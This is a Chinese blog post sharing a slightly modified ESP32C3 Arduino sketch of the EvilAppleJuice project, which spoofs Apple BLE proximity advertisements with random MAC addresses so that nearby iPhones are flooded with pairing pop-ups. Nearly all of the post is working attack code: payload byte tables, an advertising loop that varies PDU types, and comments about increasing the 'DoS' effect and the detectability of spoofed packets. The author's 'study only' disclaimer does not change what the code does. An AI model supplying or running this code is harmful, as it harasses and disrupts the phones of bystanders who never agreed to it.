• EvilAppleJuice(邪恶苹果汁)-ESP32C3项目(iphone疯狂弹窗)


    原作者作品页:

    ckcr4lyf/EvilAppleJuice-ESP32: Spam Apple Proximity Messages via an ESP32 (github.com)

    代码优化一下,增加呼吸灯效果方便知道设备运行情况,我是用arduino烧录
    仅作交流学习使用,请勿在公开场合滥用

    运行效果
     

    1. // This example takes heavy inpsiration from the ESP32 example by ronaldstoner
    2. // Based on the previous work of chipik / _hexway / ECTO-1A & SAY-10
    3. // See the README for more info
    4. #define LED_BUILTIN_0 (12)
    5. #define LED_BUILTIN_1 (13)
    6. #include <Arduino.h>
    7. #include <BLEDevice.h>
    8. #include <BLEUtils.h>
    9. #include <BLEServer.h>
    10. BLEAdvertising *pAdvertising; // global variable
    11. uint32_t delaySeconds = 1;
    12. const uint8_t DEVICES[][31] = {
    13. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    14. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    15. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    16. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    17. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    18. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    19. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    20. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    21. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    22. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    23. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    24. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    25. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    26. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    27. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    28. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    29. {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
    30. };
    31. const uint8_t SHORT_DEVICES[][23] = {
    32. {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
    33. {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
    34. {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
    35. {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
    36. {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
    37. {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
    38. {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
    39. {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
    40. {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
    41. {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
    42. {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
    43. {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
    44. };
    45. void setup() {
    46. Serial.begin(115200);
    47. pinMode(LED_BUILTIN_0, OUTPUT);
    48. pinMode(LED_BUILTIN_1, OUTPUT);
    49. Serial.println("Starting ESP32C3 BLE");
    50. BLEDevice::init("AirPods 69");
    51. // Create the BLE Server
    52. BLEServer *pServer = BLEDevice::createServer();
    53. pAdvertising = pServer->getAdvertising();
    54. // seems we need to init it with an address in setup() step.
    55. esp_bd_addr_t null_addr = {0xFE, 0xED, 0xC0, 0xFF, 0xEE, 0x69};
    56. pAdvertising->setDeviceAddress(null_addr, BLE_ADDR_TYPE_RANDOM);
    57. }
    58. void loop() {
    59. // First generate fake random MAC
    60. esp_bd_addr_t dummy_addr = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
    61. for (int i = 0; i < 6; i++){
    62. dummy_addr[i] = random(256);
    63. // It seems for some reason first 4 bits
    64. // Need to be high (aka 0b1111), so we
    65. // OR with 0xF0
    66. //if (i == 0){
    67. //dummy_addr[i] |= 0xF0;
    68. //}
    69. }
    70. BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
    71. // Randomly pick data from one of the devices
    72. // First decide short or long
    73. // 0 = long (headphones), 1 = short (misc stuff like Apple TV)
    74. int device_choice = random(2);
    75. //int device_choice = 1;
    76. if (device_choice == 0){
    77. int index = random(17);
    78. oAdvertisementData.addData(std::string((char*)DEVICES[index], 31));
    79. } else {
    80. int index = random(12);
    81. oAdvertisementData.addData(std::string((char*)SHORT_DEVICES[index], 23));
    82. }
    83. /* Page 191 of Apple's "Accessory Design Guidelines for Apple Devices (Release R20)" recommends to use only one of
    84. the three advertising PDU types when you want to connect to Apple devices.
    85. // 0 = ADV_TYPE_IND,
    86. // 1 = ADV_TYPE_SCAN_IND
    87. // 2 = ADV_TYPE_NONCONN_IND
    88. Randomly using any of these PDU types may increase detectability of spoofed packets.
    89. What we know for sure:
    90. - AirPods Gen 2: this advertises ADV_TYPE_SCAN_IND packets when the lid is opened and ADV_TYPE_NONCONN_IND when in pairing mode (when the rear case btton is held).
    91. Consider using only these PDU types if you want to target Airpods Gen 2 specifically.
    92. */
    93. int adv_type_choice = random(3);
    94. if (adv_type_choice == 0){
    95. pAdvertising->setAdvertisementType(ADV_TYPE_IND);
    96. } else if (adv_type_choice == 1){
    97. pAdvertising->setAdvertisementType(ADV_TYPE_SCAN_IND);
    98. } else {
    99. pAdvertising->setAdvertisementType(ADV_TYPE_NONCONN_IND);
    100. }
    101. // Set the device address, advertisement data
    102. pAdvertising->setDeviceAddress(dummy_addr, BLE_ADDR_TYPE_RANDOM);
    103. pAdvertising->setAdvertisementData(oAdvertisementData);
    104. // Set advertising interval
    105. /* According to Apple' Technical Q&A QA1931 (https://developer.apple.com/library/archive/qa/qa1931/_index.html), Apple recommends
    106. an advertising interval of 20ms to developers who want to maximize the probability of their BLE accessories to be discovered by iOS.
    107. These lines of code fixes the interval to 20ms. Enabling these MIGHT increase the effectiveness of the DoS. Note this has not undergone thorough testing.
    108. */
    109. //pAdvertising->setMinInterval(0x20);
    110. //pAdvertising->setMaxInterval(0x20);
    111. //pAdvertising->setMinPreferred(0x20);/* */
    112. //pAdvertising->setMaxPreferred(0x20);
    113. // Start advertising
    114. for (int i = 0; i < 100; i++) {
    115. analogWrite(LED_BUILTIN_0, i);
    116. analogWrite(LED_BUILTIN_1, i);
    117. delay(4);
    118. }
    119. Serial.println("Sending Advertisement...");
    120. pAdvertising->start();
    121. delay(delaySeconds * 1000); // delay for delaySeconds seconds
    122. pAdvertising->stop();
    123. for (int i = 100; i >= 0; i--) {
    124. analogWrite(LED_BUILTIN_0, i);
    125. analogWrite(LED_BUILTIN_1, i);
    126. delay(4);
    127. }
    128. }

  • 相关阅读:
    【MYSQL】库和数据表
    IMX6ULL学习笔记(3)——挂载NFS网络文件系统
    MySQL高可用复制管理工具 —— Orchestrator使用
    Linux journal日志文件维护
    Linux中7种文件类型
    ollama 开源大语言模型平台
    深入浅出Java多线程(八):volatile
    矩阵分析学习笔记(四):λ矩阵及其Smith标准型
    vue3前端开发-小兔鲜项目-添加购物车操作第一步
    R数据分析:用R建立预测模型
  • 原文地址:https://blog.csdn.net/aimersong69/article/details/134060713